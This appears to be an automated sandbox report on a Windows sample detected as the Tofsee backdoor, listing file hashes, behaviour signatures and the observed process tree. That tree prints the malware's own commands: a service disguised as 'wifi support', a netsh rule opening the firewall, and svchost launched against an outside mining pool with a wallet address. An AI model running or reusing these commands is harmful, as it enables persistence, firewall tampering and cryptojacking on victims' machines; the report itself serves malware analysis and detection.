Analysis

  • max time kernel
    145s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    15-11-2020 23:03

General

  • Target

    22234f7ae48123684dfefbddfba6366a30921f206538cdd711edec183fe5698e.exe

  • Size

    12.0MB

  • MD5

    9046e0f1111ff8c34b1598a691310ad3

  • SHA1

    f92697edc38988eff90847b3ff7df81a97b37cdb

  • SHA256

    22234f7ae48123684dfefbddfba6366a30921f206538cdd711edec183fe5698e

  • SHA512

    9eff5999ddfc199b276425e0f2fe2cabe11873229b802567d27991fd14b3939bcd5da95e9daca191e697560ffd2e6089660ecf6e09e59c940d656436f9071664

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\22234f7ae48123684dfefbddfba6366a30921f206538cdd711edec183fe5698e.exe
    "C:\Users\Admin\AppData\Local\Temp\22234f7ae48123684dfefbddfba6366a30921f206538cdd711edec183fe5698e.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4696
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\brhqdsvu\
      2⤵
        PID:5060
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ezzgcoew.exe" C:\Windows\SysWOW64\brhqdsvu\
        2⤵
          PID:3636
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create brhqdsvu binPath= "C:\Windows\SysWOW64\brhqdsvu\ezzgcoew.exe /d\"C:\Users\Admin\AppData\Local\Temp\22234f7ae48123684dfefbddfba6366a30921f206538cdd711edec183fe5698e.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:736
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description brhqdsvu "wifi internet conection"
            2⤵
              PID:4172
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start brhqdsvu
              2⤵
                PID:3892
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:4036
              • C:\Windows\SysWOW64\brhqdsvu\ezzgcoew.exe
                C:\Windows\SysWOW64\brhqdsvu\ezzgcoew.exe /d"C:\Users\Admin\AppData\Local\Temp\22234f7ae48123684dfefbddfba6366a30921f206538cdd711edec183fe5698e.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:4252
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:560
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1296

              Network

              MITRE ATT&CK Enterprise v6

              Replay Monitor

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              Downloads

              • C:\Users\Admin\AppData\Local\Temp\ezzgcoew.exe
                MD5

                d9febb28678aa1cb51aaf4d2ce774477

                SHA1

                3548d6a9cac0ba85efdf5ac6ec0d10c06a8ff61d

                SHA256

                d54565ef68885e154f9534153cdb91ef2f7159581123a4dd263e45b979e36b00

                SHA512

                b7b2e875db203be441d8f3845e7e8eede90c53a57a9d88ee5f94f60f2f4d4c023fa50e4be8dd2a69ce556fd7d6d0817581a7a176f3ac21d66b2e8d090d02068e

              • C:\Windows\SysWOW64\brhqdsvu\ezzgcoew.exe
                MD5

                d9febb28678aa1cb51aaf4d2ce774477

                SHA1

                3548d6a9cac0ba85efdf5ac6ec0d10c06a8ff61d

                SHA256

                d54565ef68885e154f9534153cdb91ef2f7159581123a4dd263e45b979e36b00

                SHA512

                b7b2e875db203be441d8f3845e7e8eede90c53a57a9d88ee5f94f60f2f4d4c023fa50e4be8dd2a69ce556fd7d6d0817581a7a176f3ac21d66b2e8d090d02068e

              • memory/560-13-0x0000000002720000-0x0000000002730000-memory.dmp
                Filesize

                64KB

              • memory/560-16-0x0000000002790000-0x0000000002797000-memory.dmp
                Filesize

                28KB

              • memory/560-7-0x0000000000380000-0x0000000000395000-memory.dmp
                Filesize

                84KB

              • memory/560-8-0x0000000000389A6B-mapping.dmp
              • memory/560-11-0x0000000004450000-0x000000000465F000-memory.dmp
                Filesize

                2.1MB

              • memory/560-12-0x0000000002710000-0x0000000002716000-memory.dmp
                Filesize

                24KB

              • memory/560-14-0x0000000002730000-0x0000000002735000-memory.dmp
                Filesize

                20KB

              • memory/560-15-0x0000000008AD0000-0x0000000008EDB000-memory.dmp
                Filesize

                4.0MB

              • memory/736-3-0x0000000000000000-mapping.dmp
              • memory/1296-19-0x000000000289259C-mapping.dmp
              • memory/1296-17-0x0000000002800000-0x00000000028F1000-memory.dmp
                Filesize

                964KB

              • memory/3636-1-0x0000000000000000-mapping.dmp
              • memory/3892-5-0x0000000000000000-mapping.dmp
              • memory/4036-10-0x0000000000000000-mapping.dmp
              • memory/4172-4-0x0000000000000000-mapping.dmp
              • memory/5060-0-0x0000000000000000-mapping.dmp